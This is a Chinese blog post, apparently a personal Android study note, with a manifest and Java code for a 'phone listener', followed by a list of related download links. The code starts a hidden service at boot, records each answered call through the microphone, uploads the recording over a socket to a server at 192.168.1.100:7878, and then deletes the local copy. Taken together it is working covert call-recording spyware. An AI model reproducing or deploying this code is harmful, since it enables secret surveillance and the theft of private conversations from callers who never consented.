`
zhengjj_2009
  • 浏览: 153117 次
  • 性别: Icon_minigender_1
  • 来自: 北京
社区版块
存档分类
最新评论

曾经的笔记——android的学习笔记(使用Service和BroadCastReceiver实现电话Listener)

 
阅读更多

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="cn.itcast.phonelistener"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk android:minSdkVersion="8" />

    <application
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name" >
       
        <service android:name=".PhoneService"/>
       
        <receiver android:name=".BootBroadcastReceiver">
            <intent-filter >
                <action android:name="android.intent.action.BOOT_COMPLETED"/>
            </intent-filter>
        </receiver>
    </application>

    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
 <!-- 在SDCard中创建与删除文件权限 -->
<uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>
<!-- 往SDCard写入数据权限 -->
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
 <!-- 访问internet权限 -->
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>         
</manifest>

----------------------------------------------------------------------------------------

public class BootBroadcastReceiver extends BroadcastReceiver {

 @Override
 public void onReceive(Context context, Intent intent) {
  Intent service = new Intent(context, PhoneService.class);//显式/隐式
  context.startService(service);//Intent激活组件(Service)
 }

}

------------------------------------------------------------------------------------------------

import java.io.File;
import java.io.OutputStream;
import java.io.PushbackInputStream;
import java.io.RandomAccessFile;
import java.net.Socket;

import cn.itcast.utils.StreamTool;

import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.Environment;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;

public class PhoneService extends Service {

 @Override
 public IBinder onBind(Intent intent) {
  // TODO Auto-generated method stub
  return null;
 }

 @Override
 public void onCreate() {
  super.onCreate();
  TelephonyManager telephonyManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
  telephonyManager.listen(new PhoneListener(), PhoneStateListener.LISTEN_CALL_STATE);
 }
 
 private final class PhoneListener extends PhoneStateListener{
  private String incomingNumber;
  private File file;
  private MediaRecorder mediaRecorder;
  
  @Override
  public void onCallStateChanged(int state, String incomingNumber) {
   try {
    switch (state) {
    case TelephonyManager.CALL_STATE_RINGING://来电
     this.incomingNumber = incomingNumber;
     break;

    case TelephonyManager.CALL_STATE_OFFHOOK://接通电话
     file = new File(Environment.getExternalStorageDirectory(), incomingNumber+System.currentTimeMillis()+ ".3gp");
     mediaRecorder = new MediaRecorder();
     mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
     mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
     mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
     mediaRecorder.setOutputFile(file.getAbsolutePath());
     mediaRecorder.prepare();
     mediaRecorder.start();//开始录音
     break;
     
    case TelephonyManager.CALL_STATE_IDLE://挂断电话后回归到空闲状态
     if(mediaRecorder != null){
      mediaRecorder.stop();
      mediaRecorder.release();
      mediaRecorder = null;
      uploadFile();
     }
     break;
    }
   } catch (Exception e) {
    e.printStackTrace();
   }
  }

  private void uploadFile() {
   new Thread(new Runnable() {    
    public void run() {
     try {
      if(file!=null && file.exists()){
       Socket socket = new Socket("192.168.1.100", 7878);
                OutputStream outStream = socket.getOutputStream();
                String head = "Content-Length="+ file.length() + ";filename="+ file.getName() + ";sourceid=\r\n";
                outStream.write(head.getBytes());
               
                PushbackInputStream inStream = new PushbackInputStream(socket.getInputStream()); 
       String response = StreamTool.readLine(inStream);
                String[] items = response.split(";");
       String position = items[1].substring(items[1].indexOf("=")+1);
       
       RandomAccessFile fileOutStream = new RandomAccessFile(file, "r");
       fileOutStream.seek(Integer.valueOf(position));
       byte[] buffer = new byte[1024];
       int len = -1;
       while( (len = fileOutStream.read(buffer)) != -1){
        outStream.write(buffer, 0, len);
       }
       fileOutStream.close();
       outStream.close();
                inStream.close();
                socket.close();
                file.delete();
                file = null;
               }
           } catch (Exception e) {                   
               e.printStackTrace();
           }
    }
   }).start();
  }  
 }
}

分享到:
评论

相关推荐

    android服务自启动Service以及BroadcastReceiver和Notification.zip

    这个压缩包“android服务自启动Service以及BroadcastReceiver和Notification.zip”可能包含了关于如何在Android系统中实现这些功能的代码示例和教程。 1. **服务(Service)**: - Service是Android的一种组件,...

    Servicemaster:Android 使用Service和BroadcastReceiver实现音乐播放功能

    Android 使用Service和BroadcastReceiver实现音乐播放功能 Service demo中service使用得是新的进程,activity和service日志需要切换进程才能看到,这里是最典型得activity和service交互的过程, activity传递信息很简单...

    高焕堂讲义——Android学习资料

    总的来说,《高焕堂讲义——Android学习资料》是一份全面的Android入门指南,它将帮助学习者逐步掌握Android开发的关键概念和技术,从而开启他们的Android开发之旅。通过深入阅读和实践其中的内容,初学者可以扎实地...

    android服务自启动Service以及BroadcastReceiver和Notification

    android service Notification BroadcastReceiver Intent 安装的服务开机自启动,service定时的打印消息,消息同时显示在通知栏,窗体界面的跳转,自定义控件的开发。系统广播,定时广播,轮询广播等。...

    初中级Android开发社招面试之Service及BroadcastReceiver.zip

    在Android应用开发中,Service和BroadcastReceiver是两个至关重要的组件,它们在应用程序的后台运行和服务交互中起到关键作用。这份资料“初中级Android开发社招面试之Service及BroadcastReceiver”显然是针对想要...

    Android之Service&BroadCastReceiver

    在Android系统中,Service和BroadcastReceiver是两个非常重要的组件,它们是实现应用程序后台运行和通信的关键。本篇文章将深入探讨这两个组件的原理、使用方法以及它们在实际开发中的应用。 首先,我们来看Service...

    BroadcastReceiver与Service的例子

    在Android开发中,`BroadcastReceiver`(广播接收者)和`Service`是两个非常重要的组件。它们各自扮演着系统通信和后台操作的关键角色。在这个例子中,我们将深入探讨这两个组件的使用,以及如何将它们结合在一起...

    初中级Android开发社招面试之Service及BroadcastReceiver.pdf

    在Android开发中,理解和熟练运用Service和BroadcastReceiver是至关重要的。 1. Service的生命周期: Service的生命周期主要包括六个关键方法: - onCreate(): 服务首次创建时调用,用于初始化资源。 - ...

    安卓Android源码——android打电话源码.rar

    本资源“安卓Android源码——android打电话源码.rar”提供了一种深入理解如何在Android应用程序中实现打电话功能的方式。通过分析这个源码,我们可以学习到如何在Android系统中集成电话拨打功能,并了解相关API和...

    Android学习之路——7.Service

    本篇文章将深入探讨“Android学习之路——7.Service”,分析Service的基本概念、使用方式以及常见应用场景,同时结合源码解析Service的工作原理,并提供一个实战Demo——Service_Demo。 一、Service基本概念 ...

    Service BroadcastReceiver 实例

    在Android开发中,Service BroadcastReceiver是一种常见的组件交互方式,它允许我们通过BroadcastReceiver监听特定的系统事件或自定义广播,从而实现Service与其它组件之间的通信。本实例将详细讲解如何创建并使用...

    安卓Android源码——android打电话源码.zip

    这个压缩包“安卓Android源码——android打电话源码.zip”(实际为rar文件)很可能是包含了Android系统中实现拨打电话功能的相关源代码。通过分析这些源码,我们可以深入理解Android如何处理电话相关的操作,包括...

    Android通过Service实现简单的音乐播放

    通过本文,读者可以了解 Android 中的 Service 组件,并且学习如何使用 Service 来实现音乐播放等功能。 知识点: 1. Android 中的 Service 组件是什么? 2. Service 的分类有哪些? 3. 如何使用 Started Service ...

    Android广播接收者——BroadcastReceiverDemo

    这是一个关于Android中四大组件之一 —— BroadcastReceiver,即广播的一个demo,里面涉及到BroadcastReceiver的两种注册方式,也简单的实现了广播,通过点击按钮发送广播,收到广播后打印日志。

    安卓Android源码——Android自定义锁屏实现----仿正点闹钟.zip

    通过分析和学习这个源码,我们可以了解到Android系统的锁屏机制以及如何进行深度定制。 首先,Android锁屏界面通常是系统的核心部分,涉及到用户的安全和隐私。默认的锁屏方式包括滑动、PIN码、图案和密码等。...

    android学习笔记2--BroadcastReceiver

    总之,BroadcastReceiver是Android系统中一种强大的通信工具,它可以监听并响应各种系统和应用事件,从而实现组件间的交互。正确理解和使用BroadcastReceiver能够提升应用的功能性和用户体验。在设计和编写...

    Android中文翻译组——Android中文合集(6)

    综上所述,"Android中文翻译组——Android中文合集(6)"包含的资料涉及了Android开发的各个方面,是学习和提升Android技能的重要资源。通过深入研究和实践这些知识点,开发者能够更好地理解和开发Android应用。

    Android断网时通知,基于BroadcastReceiver和service的实现.rar

    Android断网时通知,基于BroadcastReceiver和service的实现,当网络发生变化时使用BroadcastReceiver和service通知用户,  调试时请下载mockable-android-23.jar类库到build\generated目录下。

    Android学习笔记(十八)——使用意图筛选器和实现浏览网页(附源码)

    这篇“Android学习笔记(十八)”主要探讨如何使用意图筛选器以及实现在Android应用中浏览网页的功能,并提供了相应的源码。 首先,我们需要理解Intent的基本概念。Intent分为显式Intent和隐式Intent。显式Intent...

Global site tag (gtag.js) - Google Analytics